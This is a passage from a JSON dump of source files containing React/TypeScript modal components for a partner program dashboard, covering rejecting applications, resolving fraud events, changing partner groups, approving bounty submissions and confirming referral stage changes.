Reject {pluralize(\"application\", partners.length)}\n        </h3>\n\n        <p className=\"text-content-subtle text-base font-medium\">\n          Are you sure you want to reject{\" \"}\n          {pluralize(\"this application\", partners.length, {\n            plural: \"these applications\",\n          })}\n          ?\n        </p>\n      </div>\n\n      <div className=\"space-y-6 bg-neutral-50 p-4 sm:p-6\">\n        <div className=\"flex items-center gap-3 rounded-lg border border-neutral-200 bg-neutral-100 p-3\">\n          <div className=\"flex items-center\">\n            {partners.slice(0, 3).map((partner, index) => (\n              <PartnerAvatar\n                key={partner.id}\n                partner={partner}\n                className={cn(\n                  \"inline-block size-7 border-2 border-neutral-100\",\n                  index > 0 && \"-ml-2.5\",\n                )}\n              />\n            ))}\n          </div>\n          <span className=\"text-base font-semibold text-neutral-900\">\n            {partners.length} {pluralize(\"partner\", partners.length)} selected\n          </span>\n        </div>\n\n        <p className=\"text-sm text-neutral-600\">\n          This will reject the partner{\" \"}\n          {pluralize(\"application\", partners.length)} and prevent them from\n          joining your program.\n        </p>\n\n        <label className=\"flex items-start gap-2.5\">\n          <Checkbox\n            className=\"mt-1 size-4 rounded border-neutral-300 focus:border-neutral-500 focus:ring-neutral-500 focus-visible:border-neutral-500 focus-visible:ring-neutral-500 data-[state=checked]:bg-black data-[state=indeterminate]:bg-black\"\n            checked={reportFraud}\n            onCheckedChange={(checked) => setReportFraud(Boolean(checked))}\n          />\n          <span className=\"text-sm text-neutral-600\">\n            Select this if you believe{\" \"}\n            {pluralize(\"this application\", partners.length, {\n              plural: \"these applications\",\n            })}{\" \"}\n            {pluralize(\"shows\", partners.length, { plural: \"show\" })} signs of\n            fraud. This helps keep the network safe.\n          </span>\n        </label>\n      </div>\n\n      <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n        <Button\n          onClick={handleClose}\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-8 w-fit px-3\"\n        />\n        <Button\n          onClick={handleBulkReject}\n          autoFocus\n          loading={isPending}\n          text=\"Reject\"\n          className=\"h-8 w-fit px-3\"\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useBulkRejectPartnersModal({\n  partners,\n}: {\n  partners: EnrolledPartnerProps[];\n}) {\n  const [showBulkRejectPartnersModal, setShowBulkRejectPartnersModal] =\n    useState(false);\n\n  const BulkRejectPartnersModalCallback = useCallback(() => {\n    return (\n      <BulkRejectPartnersModal\n        showBulkRejectPartnersModal={showBulkRejectPartnersModal}\n        setShowBulkRejectPartnersModal={setShowBulkRejectPartnersModal}\n        partners={partners}\n      />\n    );\n  }, [showBulkRejectPartnersModal, setShowBulkRejectPartnersModal, partners]);\n\n  return useMemo(\n    () => ({\n      setShowBulkRejectPartnersModal,\n      BulkRejectPartnersModal: BulkRejectPartnersModalCallback,\n    }),\n    [setShowBulkRejectPartnersModal, BulkRejectPartnersModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/bulk-resolve-fraud-groups-modal.tsx",
    "content": "import { bulkResolveFraudGroupsAction } from \"@/lib/actions/fraud/bulk-resolve-fraud-groups\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { FraudGroupProps } from \"@/lib/types\";\nimport {\n  bulkResolveFraudGroupsSchema,\n  MAX_RESOLUTION_REASON_LENGTH,\n} from \"@/lib/zod/schemas/fraud\";\nimport { MaxCharactersCounter } from \"@/ui/shared/max-characters-counter\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { cn, pluralize } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ntype BulkResolveFraudGroupsFormData = z.infer<\n  typeof bulkResolveFraudGroupsSchema\n> & {\n  confirm: string;\n};\n\ninterface BulkResolveFraudGroupsProps {\n  showBulkResolveFraudGroupsModal: boolean;\n  setShowBulkResolveFraudGroupsModal: Dispatch<SetStateAction<boolean>>;\n  fraudGroups: FraudGroupProps[];\n  onConfirm?: () => Promise<void>;\n}\n\nfunction BulkResolveFraudGroupsModal({\n  showBulkResolveFraudGroupsModal,\n  setShowBulkResolveFraudGroupsModal,\n  fraudGroups,\n  onConfirm,\n}: BulkResolveFraudGroupsProps) {\n  const { id: workspaceId } = useWorkspace();\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    control,\n    formState: { errors, isSubmitting, isSubmitSuccessful },\n  } = useForm<BulkResolveFraudGroupsFormData>({\n    defaultValues: {\n      resolutionReason: null,\n      confirm: \"\",\n    },\n  });\n\n  const [confirm] = watch([\"confirm\"]);\n\n  const { executeAsync, isPending } = useAction(bulkResolveFraudGroupsAction, {\n    onSuccess: async () => {\n      await onConfirm?.();\n      toast.success(\"Fraud events resolved successfully!\");\n      setShowBulkResolveFraudGroupsModal(false);\n    },\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onSubmit = useCallback(\n    async (data: BulkResolveFraudGroupsFormData) => {\n      if (!workspaceId || fraudGroups.length === 0) {\n        return;\n      }\n\n      await executeAsync({\n        ...data,\n        workspaceId,\n        groupIds: fraudGroups.map((g) => g.id),\n      });\n    },\n    [executeAsync, fraudGroups, workspaceId],\n  );\n\n  const totalEventCount = fraudGroups.reduce(\n    (sum, group) => sum + (group.eventCount ?? 1),\n    0,\n  );\n  const eventWord = pluralize(\"event\", totalEventCount);\n  const confirmationText = `confirm resolve ${eventWord}`;\n\n  const isDisabled = useMemo(() => {\n    return (\n      !workspaceId || fraudGroups.length === 0 || confirm !== confirmationText\n    );\n  }, [workspaceId, fraudGroups.length, confirm, confirmationText]);\n\n  return (\n    <Modal\n      showModal={showBulkResolveFraudGroupsModal}\n      setShowModal={setShowBulkResolveFraudGroupsModal}\n    >\n      <div className=\"border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          Resolve {eventWord}\n        </h3>\n      </div>\n\n      <form onSubmit={handleSubmit(onSubmit)}>\n        <div className=\"flex flex-col gap-6 bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"rounded-lg border border-neutral-200 bg-neutral-100 p-3\">\n            <div className=\"flex items-center gap-3\">\n              <span className=\"text-base font-semibold text-neutral-900\">\n                {totalEventCount} {eventWord} selected\n              </span>\n            </div>\n          </div>\n\n          <p className=\"text-sm text-neutral-600\">\n            This will mark the selected fraud {eventWord} as resolved. You can\n            add optional notes about why these events are being resolved.\n          </p>\n\n          <div>\n            <div className=\"flex items-center justify-between\">\n              <label\n                htmlFor=\"resolutionReason\"\n                className=\"block text-sm font-medium text-neutral-900\"\n              >\n                Internal notes (optional)\n              </label>\n              <MaxCharactersCounter\n                name=\"resolutionReason\"\n                maxLength={MAX_RESOLUTION_REASON_LENGTH}\n                control={control}\n              />\n            </div>\n            <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n              <textarea\n                id=\"resolutionReason\"\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.resolutionReason && \"border-red-600\",\n                )}\n                placeholder=\"Add notes about why events are resolved...\"\n                rows={3}\n                maxLength={MAX_RESOLUTION_REASON_LENGTH}\n                {...register(\"resolutionReason\")}\n              />\n            </div>\n          </div>\n\n          <div>\n            <label className=\"block text-sm font-medium text-neutral-900\">\n              To verify, type <strong>{confirmationText}</strong> below\n            </label>\n            <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n              <input\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.confirm && \"border-red-600\",\n                )}\n                placeholder={confirmationText}\n                type=\"text\"\n                autoComplete=\"off\"\n                {...register(\"confirm\", {\n                  required: true,\n                })}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 bg-neutral-50 px-4 pb-5 sm:px-6\">\n          <Button\n            onClick={() => setShowBulkResolveFraudGroupsModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text={`Resolve ${totalEventCount} ${eventWord}`}\n            disabled={isDisabled}\n            loading={isPending || isSubmitting || isSubmitSuccessful}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useBulkResolveFraudGroupsModal({\n  fraudGroups,\n  onConfirm,\n}: {\n  fraudGroups: FraudGroupProps[];\n  onConfirm?: () => Promise<void>;\n}) {\n  const [showBulkResolveFraudGroupsModal, setShowBulkResolveFraudGroupsModal] =\n    useState(false);\n\n  const BulkResolveFraudGroupsModalCallback = useCallback(() => {\n    return (\n      <BulkResolveFraudGroupsModal\n        showBulkResolveFraudGroupsModal={showBulkResolveFraudGroupsModal}\n        setShowBulkResolveFraudGroupsModal={setShowBulkResolveFraudGroupsModal}\n        fraudGroups={fraudGroups}\n        onConfirm={onConfirm}\n      />\n    );\n  }, [\n    showBulkResolveFraudGroupsModal,\n    setShowBulkResolveFraudGroupsModal,\n    fraudGroups,\n    onConfirm,\n  ]);\n\n  return useMemo(\n    () => ({\n      setShowBulkResolveFraudGroupsModal,\n      BulkResolveFraudGroupsModal: BulkResolveFraudGroupsModalCallback,\n    }),\n    [setShowBulkResolveFraudGroupsModal, BulkResolveFraudGroupsModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/change-group-modal.tsx",
    "content": "import { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerExtendedProps } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button, InfoTooltip, Modal, Switch } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { GroupSelector } from \"../partners/groups/group-selector\";\n\ntype ChangeGroupModalProps = {\n  showChangeGroupModal: boolean;\n  setShowChangeGroupModal: Dispatch<SetStateAction<boolean>>;\n  partners: Partial<\n    Pick<\n      EnrolledPartnerExtendedProps,\n      \"id\" | \"groupId\" | \"name\" | \"image\" | \"email\" | \"groupMoveDisabledAt\"\n    >\n  >[];\n\n  /** Called when the selection is confirmed. Return false to prevent persisting the group change. */\n  onChangeGroup?: (groupId: string) => void | boolean;\n};\n\nfunction ChangeGroupModal({\n  showChangeGroupModal,\n  setShowChangeGroupModal,\n  partners,\n  onChangeGroup,\n}: ChangeGroupModalProps) {\n  const { id: workspaceId, plan } = useWorkspace();\n\n  const [selectedGroupId, setSelectedGroupId] = useState<string | null>(null);\n\n  const { canUseGroupMoveRule } = getPlanCapabilities(plan);\n  const [groupMoveDisabled, setGroupMoveDisabled] = useState(\n    partners.length === 1 && canUseGroupMoveRule\n      ? !!partners[0].groupMoveDisabledAt\n      : false,\n  );\n\n  // Sync state from the DB value whenever the modal opens or partners change\n  useEffect(() => {\n    if (partners.length === 1) {\n      setSelectedGroupId(partners[0].groupId ?? null);\n      if (canUseGroupMoveRule) {\n        setGroupMoveDisabled(!!partners[0].groupMoveDisabledAt);\n      }\n    } else {\n      setGroupMoveDisabled(false);\n    }\n  }, [showChangeGroupModal, partners, canUseGroupMoveRule]);\n\n  const { makeRequest: changeGroup, isSubmitting } = useApiMutation();\n\n  const handleChangeGroup = useCallback(async () => {\n    await changeGroup(`/api/groups/${selectedGroupId}/partners`, {\n      method: \"POST\",\n      body: {\n        workspaceId,\n        partnerIds: partners.map((p) => p.id),\n        ...(partners.length === 1 && {\n          groupMoveDisabledAt: groupMoveDisabled\n            ? partners[0].groupMoveDisabledAt ?? new Date().toISOString()\n            : null,\n        }),\n      },\n      onSuccess: () => {\n        mutatePrefix(\"/api/partners\");\n        toast.success(\"Group changed successfully!\");\n        setShowChangeGroupModal(false);\n      },\n    });\n  }, [\n    changeGroup,\n    selectedGroupId,\n    partners,\n    groupMoveDisabled,\n    workspaceId,\n    setShowChangeGroupModal,\n  ]);\n\n  const isSinglePartner = partners.length === 1;\n\n  return (\n    <Modal\n      showModal={showChangeGroupModal}\n      setShowModal={setShowChangeGroupModal}\n    >\n      <div className=\"border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Change group</h3>\n      </div>\n\n      <div className=\"flex flex-col gap-6 bg-neutral-50 p-4 sm:p-6\">\n        <div className=\"rounded-lg border border-neutral-200 bg-neutral-100 p-3\">\n          {isSinglePartner ? (\n            <div className=\"flex items-center gap-4\">\n              <PartnerAvatar\n                partner={partners[0]}\n                className=\"size-10 bg-white\"\n              />\n              <div className=\"flex min-w-0 flex-col\">\n                <h4 className=\"truncate text-sm font-medium text-neutral-900\">\n                  {partners[0].name}\n                </h4>\n                {partners[0].email && (\n                  <p className=\"truncate text-xs text-neutral-500\">\n                    {partners[0].email}\n                  </p>\n                )}\n              </div>\n            </div>\n          ) : (\n            <div className=\"flex items-center gap-3\">\n              <div className=\"flex items-center\">\n                {partners.slice(0, 3).map((partner, index) => (\n                  <PartnerAvatar\n                    key={partner.id}\n                    partner={partner}\n                    className={cn(\n                      \"inline-block size-7 border-2 border-neutral-100 bg-white\",\n                      index > 0 && \"-ml-2.5\",\n                    )}\n                  />\n                ))}\n              </div>\n              <span className=\"text-base font-semibold text-neutral-900\">\n                {partners.length} partners selected\n              </span>\n            </div>\n          )}\n        </div>\n\n        <div>\n          <label className=\"block text-sm font-medium text-neutral-900\">\n            New group\n          </label>\n\n          <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n            <GroupSelector\n              selectedGroupId={selectedGroupId}\n              setSelectedGroupId={setSelectedGroupId}\n            />\n          </div>\n        </div>\n\n        {isSinglePartner && canUseGroupMoveRule && (\n          <div className=\"flex items-center gap-3\">\n            <Switch\n              fn={setGroupMoveDisabled}\n              checked={groupMoveDisabled}\n              trackDimensions=\"w-8 h-4\"\n              thumbDimensions=\"w-3 h-3\"\n              thumbTranslate=\"translate-x-4\"\n            />\n            <div className=\"flex gap-1.5\">\n              <h3 className=\"text-sm font-medium leading-none text-neutral-700\">\n                Keep partner in selected group\n              </h3>\n              <InfoTooltip content=\"When enabled, this partner will remain in the selected group and won't be subject to [group move rules](https://dub.co/help/article/partner-groups#group-move-rules).\" />\n            </div>\n          </div>\n        )}\n      </div>\n\n      <div className=\"flex items-center justify-end gap-2 bg-neutral-50 px-4 pb-5 sm:px-6\">\n        <Button\n          onClick={() => setShowChangeGroupModal(false)}\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-8 w-fit px-3\"\n        />\n        <Button\n          onClick={() => {\n            if (onChangeGroup?.(selectedGroupId!) === false) {\n              setShowChangeGroupModal(false);\n              return;\n            }\n            handleChangeGroup();\n          }}\n          disabled={!selectedGroupId}\n          autoFocus\n          loading={isSubmitting}\n          text=\"Change group\"\n          className=\"h-8 w-fit px-3\"\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useChangeGroupModal({\n  partners,\n  onChangeGroup,\n}: Pick<ChangeGroupModalProps, \"partners\" | \"onChangeGroup\">) {\n  const [showChangeGroupModal, setShowChangeGroupModal] = useState(false);\n\n  const ChangeGroupModalCallback = useCallback(() => {\n    return (\n      <ChangeGroupModal\n        showChangeGroupModal={showChangeGroupModal}\n        setShowChangeGroupModal={setShowChangeGroupModal}\n        partners={partners}\n        onChangeGroup={onChangeGroup}\n      />\n    );\n  }, [showChangeGroupModal, setShowChangeGroupModal, partners]);\n\n  return useMemo(\n    () => ({\n      setShowChangeGroupModal,\n      ChangeGroupModal: ChangeGroupModalCallback,\n    }),\n    [setShowChangeGroupModal, ChangeGroupModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/confirm-approve-bounty-submission-modal.tsx",
    "content": "\"use client\";\n\nimport { approveBountySubmissionAction } from \"@/lib/actions/partners/approve-bounty-submission\";\nimport { calculateSocialMetricsRewardAmount } from \"@/lib/bounty/rewards\";\nimport { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BountyProps, BountySubmissionProps } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { currencyFormatter } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\n\ntype ConfirmApproveBountySubmissionModalProps = {\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n  submission: BountySubmissionProps;\n  bounty: BountyProps | null;\n  rewardAmount: number | null;\n  onApproveSuccess?: () => void;\n};\n\nfunction ConfirmApproveBountySubmissionModal({\n  showModal,\n  setShowModal,\n  submission,\n  bounty,\n  rewardAmount,\n  onApproveSuccess,\n}: ConfirmApproveBountySubmissionModalProps) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { executeAsync: approveBountySubmission, isPending } = useAction(\n    approveBountySubmissionAction,\n    {\n      onSuccess: async () => {\n        setShowModal(false);\n        toast.success(\"Bounty submission approved successfully!\");\n        if (bounty?.id) {\n          await mutatePrefix(`/api/bounties/${bounty.id}/submissions`);\n        }\n        onApproveSuccess?.();\n      },\n      onError({ error }) {\n        toast.error(error.serverError);\n      },\n    },\n  );\n\n  const commissionAmountCents = useMemo(() => {\n    const bountyInfo = bounty ? resolveBountyDetails(bounty) : null;\n    if (bountyInfo?.hasSocialMetrics && bounty) {\n      return calculateSocialMetricsRewardAmount({ bounty, submission });\n    }\n    if (bounty?.rewardAmount != null) {\n      return bounty.rewardAmount;\n    }\n    if (rewardAmount != null) {\n      return rewardAmount * 100;\n    }\n    return null;\n  }, [bounty, submission, rewardAmount]);\n\n  const handleApprove = async () => {\n    if (!workspaceId || !submission?.id) return;\n    await approveBountySubmission({\n      workspaceId,\n      submissionId: submission.id,\n      rewardAmount: rewardAmount != null ? rewardAmount * 100 : null,\n    });\n  };\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-content-emphasis text-lg font-medium\">\n          Approve bounty submission\n        </h3>\n        <p className=\"text-content-subtle text-sm\">\n          This will create a{\" \"}\n          <span className=\"font-semibold text-neutral-900\">\n            {currencyFormatter(commissionAmountCents ?? 0, {\n              trailingZeroDisplay: \"stripIfInteger\",\n            })}\n          </span>{\" \"}\n          commission for{\" \"}\n          <span className=\"font-semibold text-neutral-900\">\n            {submission.partner.name}\n          </span>\n          .\n        </p>\n      </div>\n\n      <div className=\"flex flex-col\">\n        <div className=\"flex flex-col gap-4 px-4 py-6 text-left sm:px-6\">\n          <div className=\"relative overflow-hidden rounded-lg border border-neutral-200 bg-white p-5\">\n            <div\n              className=\"pointer-events-none absolute inset-0 bg-neutral-50\"\n              style={{\n                backgroundImage:\n                  \"radial-gradient(circle, #d4d4d4 1px, transparent 1px)\",\n                backgroundSize: \"16px 16px\",\n              }}\n            />\n            <div className=\"relative flex items-center justify-between gap-4\">\n              <div className=\"flex min-w-0 flex-1 items-center gap-4\">\n                <PartnerAvatar\n                  partner={submission.partner}\n                  className=\"size-10\"\n                />\n                <div className=\"min-w-0 flex-1\">\n                  <div className=\"truncate text-base font-semibold text-neutral-800\">\n                    {submission.partner.name}\n                  </div>\n                  <div className=\"truncate text-sm font-medium text-neutral-500\">\n                    {submission.partner.email}\n                  </div>\n                </div>\n              </div>\n              <div className=\"shrink-0 text-right\">\n                <span className=\"text-content-emphasis text-xl font-semibold\">\n                  {currencyFormatter(commissionAmountCents ?? 0)}\n                </span>\n              </div>\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end border-t border-neutral-200 px-4 py-4 sm:px-6\">\n          <div className=\"flex gap-2\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-8 w-fit\"\n              onClick={() => setShowModal(false)}\n              disabled={isPending}\n            />\n            <Button\n              type=\"button\"\n              variant=\"primary\"\n              text=\"Approve\"\n              className=\"h-8 w-fit\"\n              loading={isPending}\n              onClick={handleApprove}\n            />\n          </div>\n        </div>\n      </div>\n    </Modal>\n  );\n}\n\nexport function useConfirmApproveBountySubmissionModal(options?: {\n  onApproveSuccess?: () => void;\n}) {\n  const [state, setState] = useState<{\n    submission: BountySubmissionProps;\n    bounty: BountyProps | null;\n    rewardAmount: number | null;\n  } | null>(null);\n\n  function openConfirmApproveBountySubmissionModal(\n    submission: BountySubmissionProps,\n    bounty: BountyProps | null,\n    rewardAmount: number | null,\n  ) {\n    setState({ submission, bounty, rewardAmount });\n  }\n\n  function closeConfirmApproveBountySubmissionModal() {\n    setState(null);\n  }\n\n  return {\n    openConfirmApproveBountySubmissionModal,\n    closeConfirmApproveBountySubmissionModal,\n    ConfirmApproveBountySubmissionModal: state ? (\n      <ConfirmApproveBountySubmissionModal\n        submission={state.submission}\n        bounty={state.bounty}\n        rewardAmount={state.rewardAmount}\n        showModal\n        setShowModal={(show) => {\n          if (!show) closeConfirmApproveBountySubmissionModal();\n        }}\n        onApproveSuccess={options?.onApproveSuccess}\n      />\n    ) : null,\n    isConfirmApproveBountySubmissionModalOpen: state !== null,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/modals/confirm-modal.tsx",
    "content": "import { Button, Modal, useKeyboardShortcut } from \"@dub/ui\";\nimport { Dispatch, ReactNode, SetStateAction, useState } from \"react\";\n\ntype PromptModelProps = {\n  title: string;\n  description?: ReactNode;\n\n  onCancel?: () => void;\n  cancelText?: string;\n\n  onConfirm: () => Promise<void> | void;\n  confirmText?: string;\n  confirmVariant?: \"primary\" | \"danger\";\n\n  confirmShortcut?: string;\n  confirmShortcutOptions?: {\n    modal?: boolean;\n    sheet?: boolean;\n  };\n};\n\n/**\n * A generic confirmation modal\n */\nfunction ConfirmModal({\n  showConfirmModal,\n  setShowConfirmModal,\n  title,\n  description,\n  onCancel,\n  cancelText = \"Cancel\",\n  onConfirm,\n  confirmText = \"Confirm\",\n  confirmVariant = \"primary\",\n  confirmShortcut,\n  confirmShortcutOptions = { modal: true },\n}: {\n  showConfirmModal: boolean;\n  setShowConfirmModal: Dispatch<SetStateAction<boolean>>;\n} & PromptModelProps) {\n  const [isLoading, setIsLoading] = useState(false);\n\n  const handleConfirm = async () => {\n    setIsLoading(true);\n    try {\n      await onConfirm();\n      setShowConfirmModal(false);\n    } finally {\n      setIsLoading(false);\n    }\n  };\n\n  return (\n    <Modal showModal={showConfirmModal} setShowModal={setShowConfirmModal}>\n      {showConfirmModal && confirmShortcut && (\n        <KeyboardShortcut\n          confirmShortcut={confirmShortcut}\n          onConfirm={handleConfirm}\n          confirmShortcutOptions={confirmShortcutOptions}\n        />\n      )}\n      <div className=\"p-5 text-left\">\n        <h3 className=\"text-content-emphasis text-base font-semibold\">\n          {title}\n        </h3>\n        {description && (\n          <div className=\"text-content-subtle mt-1 text-sm\">{description}</div>\n        )}\n      </div>\n\n      <div className=\"border-border-subtle flex items-center justify-end gap-2 border-t px-5 py-4\">\n        <Button\n          variant=\"secondary\"\n          className=\"h-8 w-fit px-3\"\n          text={cancelText}\n          onClick={() => {\n            onCancel?.();\n            setShowConfirmModal(false);\n          }}\n        />\n        <Button\n          variant={confirmVariant}\n          className=\"h-8 w-fit px-3\"\n          text={confirmText}\n          loading={isLoading}\n          shortcut={\n            confirmShortcut === \"Enter\" ? \"↵\" : confirmShortcut?.toUpperCase()\n          }\n          onClick={handleConfirm}\n        />\n      </div>\n    </Modal>\n  );\n}\n\nfunction KeyboardShortcut({\n  onConfirm,\n  confirmShortcut,\n  confirmShortcutOptions,\n}: { confirmShortcut: string } & Pick<\n  PromptModelProps,\n  \"onConfirm\" | \"confirmShortcutOptions\"\n>) {\n  useKeyboardShortcut(confirmShortcut, onConfirm, confirmShortcutOptions);\n\n  return null;\n}\n\nexport function useConfirmModal(props: PromptModelProps) {\n  const [showConfirmModal, setShowConfirmModal] = useState(false);\n\n  return {\n    setShowConfirmModal,\n    confirmModal: (\n      <ConfirmModal\n        showConfirmModal={showConfirmModal}\n        setShowConfirmModal={setShowConfirmModal}\n        {...props}\n      />\n    ),\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/modals/confirm-referral-status-change-modal.tsx",
    "content": "\"use client\";\n\nimport { updateReferralStatusAction } from \"@/lib/actions/referrals/update-referral-status\";\nimport { handleMoneyInputChange, handleMoneyKeyDown } from \"@/lib/form-utils\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ReferralProps, UpdateReferralStatusPayload } from \"@/lib/types\";\nimport { ReferralStatusBadge } from \"@/ui/referrals/referral-status-badge\";\nimport { ReferralStatus } from \"@dub/prisma/client\";\nimport { AnimatedSizeContainer, Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { ArrowRight, ChevronDown } from \"lucide-react\";\nimport { motion } from \"motion/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useEffect, useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\ntype StatusField = \"notes\" | \"externalId\" | \"saleAmount\" | \"stripeCustomerId\";\n\ntype StatusChangeFormData = {\n  notes: string;\n  externalId: string;\n  saleAmount: number | null;\n  stripeCustomerId: string;\n};\n\ntype StatusConfig = {\n  fields: StatusField[];\n  buildPayload: (\n    base: { referralId: string; workspaceId: string; notes?: string },\n    data: StatusChangeFormData,\n  ) => UpdateReferralStatusPayload;\n};\n\nconst STATUS_CONFIG: Record<ReferralStatus, StatusConfig> = {\n  pending: {\n    fields: [],\n    buildPayload: (base) => ({ ...base, status: \"pending\" }),\n  },\n  qualified: {\n    fields: [\"externalId\"],\n    buildPayload: (base, data) => ({\n      ...base,\n      status: \"qualified\",\n      externalId: data.externalId || undefined,\n    }),\n  },\n  meeting: {\n    fields: [],\n    buildPayload: (base) => ({ ...base, status: \"meeting\" }),\n  },\n  negotiation: {\n    fields: [],\n    buildPayload: (base) => ({ ...base, status: \"negotiation\" }),\n  },\n  unqualified: {\n    fields: [],\n    buildPayload: (base) => ({ ...base, status: \"unqualified\" }),\n  },\n  closedWon: {\n    fields: [\"saleAmount\", \"stripeCustomerId\"],\n    buildPayload: (base, data) => ({\n      ...base,\n      status: \"closedWon\",\n      saleAmount: Math.round((data.saleAmount ?? 0) * 100),\n      stripeCustomerId: data.stripeCustomerId || undefined,\n    }),\n  },\n  closedLost: {\n    fields: [],\n    buildPayload: (base) => ({ ...base, status: \"closedLost\" }),\n  },\n};\n\ntype ConfirmReferralStatusChangeModalProps = {\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n  referral: Pick<ReferralProps, \"id\" | \"status\">;\n  newStatus: ReferralStatus;\n};\n\nfunction ConfirmReferralStatusChangeModal({\n  showModal,\n  setShowModal,\n  referral,\n  newStatus,\n}: ConfirmReferralStatusChangeModalProps) {\n  const { isMobile } = useMediaQuery();\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n  const [showAdvancedOptions, setShowAdvancedOptions] = useState(false);\n\n  const { executeAsync, isPending } = useAction(updateReferralStatusAction, {\n    onSuccess: async () => {\n      setShowModal(false);\n      toast.success(\"Referral status updated successfully!\");\n      await mutatePrefix([\n        `/api/programs/${defaultProgramId}/referrals`,\n        \"/api/activity-logs\",\n      ]);\n    },\n    onError({ error }) {\n      toast.error(error.serverError || \"Failed to update referral status\");\n    },\n  });\n\n  const {\n    register,\n    handleSubmit,\n    reset,\n    formState: { errors, isSubmitting },\n  } = useForm<StatusChangeFormData>({\n    defaultValues: {\n      notes: \"\",\n      externalId: \"\",\n      saleAmount: null,\n      stripeCustomerId: \"\",\n    },\n  });\n\n  useEffect(() => {\n    if (showModal) {\n      reset({\n        notes: \"\",\n        externalId: \"\",\n        saleAmount: null,\n        stripeCustomerId: \"\",\n      });\n      setShowAdvancedOptions(false);\n    }\n  }, [showModal, newStatus, reset]);\n\n  const config = STATUS_CONFIG[newStatus];\n  const visibleFields = new Set(config.fields);\n  const hasAdvancedSettings = visibleFields.has(\"stripeCustomerId\");\n\n  const onSubmit = async (data: StatusChangeFormData) => {\n    if (!workspaceId || !referral.id) return;\n\n    const payload = config.buildPayload(\n      {\n        workspaceId,\n        referralId: referral.id,\n        notes: data.notes || undefined,\n      },\n      data,\n    );\n\n    await executeAsync(payload);\n  };\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-content-emphasis text-lg font-medium\">\n          Confirm stage change\n        </h3>\n      </div>\n\n      <div>\n        <form\n          onSubmit={(e) => {\n            e.stopPropagation();\n            return handleSubmit(onSubmit)(e);\n          }}\n        >\n          <div className=\"flex flex-col gap-4 px-4 py-6 text-left sm:px-6\">\n            <div className=\"relative overflow-hidden rounded-lg border border-neutral-200 bg-white p-5\">\n              <div\n                className=\"pointer-events-none absolute inset-0 bg-neutral-50\"\n                style={{\n                  backgroundImage:\n                    